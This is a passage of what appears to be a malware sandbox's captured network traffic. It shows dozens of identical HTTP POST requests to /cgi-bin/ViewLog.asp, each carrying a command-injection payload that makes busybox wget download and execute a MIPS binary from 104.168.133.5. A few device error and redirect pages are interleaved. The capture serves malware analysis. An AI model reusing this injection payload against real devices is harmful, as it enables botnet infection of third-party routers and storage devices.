                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:15.671680927 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                993192.168.2.155567294.71.231.838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:13.966027021 CET1340INHTTP/1.0 400 Bad Request
                                                Server: http server 1.0
                                                Content-type: text/html
                                                Date: Thu, 23 Nov 2023 04:23:09 GMT
                                                Last-modified: Thu, 23 Nov 2023 04:23:09 GMT
                                                Accept-Ranges: bytes
                                                Connection: close
                                                Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 2d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 20 75 72 6c 28 27 2f 63 67 69 2d 62 69 6e 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2f 65 72 72 5f 62 67 2e 6a 70 67 27 29 3b 0a 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 6c 69 6e 6b 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 76 69 73 69 74 65 64 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 31 7b 0a 77 69 64 74 68 3a 20 39 38 30 70 78 3b 0a 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 42 43 42 43 42 43 3b 0a 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 5f 69 6d 67 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="Cache-Control" content="no-cache" /><meta http-equiv="Pragma" content="no-cache" /><meta http-equiv="Expires" content="-1" /><link rel="shortcut icon" href="/images/favicon.gif" type="image/gif" /><link rel="icon" href="/images/favicon.gif" type="image/gif" /><style type="text/css">body{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;background: #FFFFFF url('/cgi-bin/images/error/err_bg.jpg');overflow: hidden;color: #A4A3A3;text-align: center;}.qnap_hyperlink a,.qnap_hyperlink a:link,.qnap_hyperlink a:visited{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;color: #A4A3A3;}.qnap_bar1{width: 980px;border-bottom: 1px solid #BCBCBC;padding-top: 10px;text-align: left;margin: 0 auto;}.qnap_bar_img{padding-botto


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                994192.168.2.153443294.122.18.458080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:13.982167959 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                995192.168.2.155191862.29.86.1208080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:13.982894897 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                996192.168.2.154982231.136.214.2468080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.064615965 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                997192.168.2.154776894.120.219.508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.103198051 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                998192.168.2.153960094.122.2.828080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.103246927 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                999192.168.2.154436062.23.223.1808080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.244726896 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.428210974 CET452INHTTP/1.1 200 Ok
                                                Date: Thu, 23 Nov 2023 03:41:08 GMT
                                                Server: Apache
                                                X-Frame-Options: SAMEORIGIN
                                                X-UA-Compatible: IE=edge;IE=11;IE=10;IE=9
                                                Expires: 0
                                                Content-Length: 165
                                                Connection: close
                                                Content-Type: text/html
                                                Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 31 3b 20 75 72 6c 3d 68 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 30 2e 31 34 2f 63 67 69 2d 62 69 6e 2f 6c 6f 67 69 6e 3f 63 6d 64 3d 72 65 64 69 72 65 63 74 26 61 72 75 62 61 6c 70 3d 34 37 38 62 61 32 30 35 2d 30 31 64 61 2d 34 30 38 35 2d 62 33 65 65 2d 65 61 31 32 39 61 65 63 39 64 27 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <html><head><meta http-equiv='refresh' content='1; url=http://192.168.0.14/cgi-bin/login?cmd=redirect&arubalp=478ba205-01da-4085-b3ee-ea129aec9d'></head></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1000192.168.2.153887231.136.220.1708080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.249810934 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.807671070 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:15.927678108 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1001192.168.2.154552031.136.223.378080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.327828884 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1002192.168.2.153690694.122.124.998080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.364285946 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1003192.168.2.155609295.225.226.2308080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.369081020 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1004192.168.2.155339694.242.230.2408080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.558329105 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1005192.168.2.153860094.60.143.418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.756092072 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.955240965 CET487INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:22:57 GMT
                                                Server: Apache
                                                X-Frame-Options: SAMEORIGIN
                                                Content-Length: 226
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1006192.168.2.153411031.200.60.1498080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.804586887 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1007192.168.2.155450694.122.112.2538080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.806160927 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
